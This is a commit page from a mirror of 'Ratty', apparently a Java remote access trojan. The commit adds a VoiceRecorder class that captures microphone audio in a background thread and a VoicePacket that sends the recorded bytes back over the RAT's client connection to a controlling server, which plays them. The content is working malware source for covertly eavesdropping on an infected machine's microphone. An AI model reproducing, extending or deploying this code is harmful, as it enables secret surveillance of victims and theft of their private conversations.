mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
11 changed files with 267 additions and 53 deletions
-
BINRatty/res/menu_icons.png
-
7Ratty/src/de/sogomn/rat/IRecorderListener.java
-
2Ratty/src/de/sogomn/rat/Ratty.java
-
18Ratty/src/de/sogomn/rat/Trojan.java
-
94Ratty/src/de/sogomn/rat/VoiceRecorder.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
58Ratty/src/de/sogomn/rat/packet/VoicePacket.java
-
2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
37Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
17Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
-
82Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java
Before Width: 96 | Height: 96 | Size: 692 B After Width: 96 | Height: 96 | Size: 756 B |
@ -0,0 +1,7 @@ |
|||||
|
package de.sogomn.rat; |
||||
|
|
||||
|
public interface IRecorderListener { |
||||
|
|
||||
|
void done(final VoiceRecorder source, final byte[] data); |
||||
|
|
||||
|
} |
@ -0,0 +1,94 @@ |
|||||
|
package de.sogomn.rat; |
||||
|
|
||||
|
import java.io.ByteArrayOutputStream; |
||||
|
import java.io.IOException; |
||||
|
|
||||
|
import javax.sound.sampled.AudioSystem; |
||||
|
import javax.sound.sampled.LineUnavailableException; |
||||
|
import javax.sound.sampled.TargetDataLine; |
||||
|
|
||||
|
import de.sogomn.engine.util.AbstractListenerContainer; |
||||
|
|
||||
|
public final class VoiceRecorder extends AbstractListenerContainer<IRecorderListener> { |
||||
|
|
||||
|
private ByteArrayOutputStream out; |
||||
|
private TargetDataLine line; |
||||
|
private Thread thread; |
||||
|
|
||||
|
private int maximum; |
||||
|
|
||||
|
private static final int BUFFER_SIZE = 1024; |
||||
|
|
||||
|
public VoiceRecorder(final int maximum) { |
||||
|
this.maximum = maximum; |
||||
|
|
||||
|
out = new ByteArrayOutputStream(); |
||||
|
} |
||||
|
|
||||
|
public VoiceRecorder() { |
||||
|
this(0); |
||||
|
} |
||||
|
|
||||
|
private byte[] getData() { |
||||
|
final byte[] data = out.toByteArray(); |
||||
|
|
||||
|
out.reset(); |
||||
|
|
||||
|
return data; |
||||
|
} |
||||
|
|
||||
|
private void captureAudio() { |
||||
|
try { |
||||
|
final byte[] data = new byte[BUFFER_SIZE]; |
||||
|
|
||||
|
line.read(data, 0, BUFFER_SIZE); |
||||
|
out.write(data); |
||||
|
} catch (final IOException ex) { |
||||
|
ex.printStackTrace(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void start() { |
||||
|
final Runnable runnable = () -> { |
||||
|
while (out.size() < maximum) { |
||||
|
captureAudio(); |
||||
|
} |
||||
|
|
||||
|
stop(); |
||||
|
|
||||
|
final byte[] data = getData(); |
||||
|
|
||||
|
notifyListeners(listener -> listener.done(this, data)); |
||||
|
}; |
||||
|
|
||||
|
try { |
||||
|
line = AudioSystem.getTargetDataLine(null); |
||||
|
thread = new Thread(runnable); |
||||
|
|
||||
|
out.reset(); |
||||
|
line.open(); |
||||
|
line.start(); |
||||
|
thread.start(); |
||||
|
} catch (final LineUnavailableException ex) { |
||||
|
stop(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void stop() { |
||||
|
try { |
||||
|
thread.interrupt(); |
||||
|
line.close(); |
||||
|
out.close(); |
||||
|
} catch (final IOException ex) { |
||||
|
//... |
||||
|
} finally { |
||||
|
thread = null; |
||||
|
line = null; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void setMaximum(final int maximum) { |
||||
|
this.maximum = maximum; |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,58 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import de.sogomn.engine.fx.Sound; |
||||
|
import de.sogomn.rat.ActiveClient; |
||||
|
|
||||
|
public final class VoicePacket extends AbstractPingPongPacket { |
||||
|
|
||||
|
private byte[] data; |
||||
|
|
||||
|
public VoicePacket() { |
||||
|
type = REQUEST; |
||||
|
data = new byte[0]; |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void sendRequest(final ActiveClient client) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void sendData(final ActiveClient client) { |
||||
|
client.writeInt(data.length); |
||||
|
client.write(data); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void receiveRequest(final ActiveClient client) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void receiveData(final ActiveClient client) { |
||||
|
final int length = client.readInt(); |
||||
|
|
||||
|
data = new byte[length]; |
||||
|
|
||||
|
client.read(data); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void executeRequest(final ActiveClient client) { |
||||
|
type = DATA; |
||||
|
|
||||
|
client.addPacket(this); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void executeData(final ActiveClient client) { |
||||
|
final Sound sound = Sound.loadSound(data); |
||||
|
|
||||
|
sound.play(); |
||||
|
} |
||||
|
|
||||
|
public void setData(final byte[] data) { |
||||
|
this.data = data; |
||||
|
} |
||||
|
|
||||
|
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue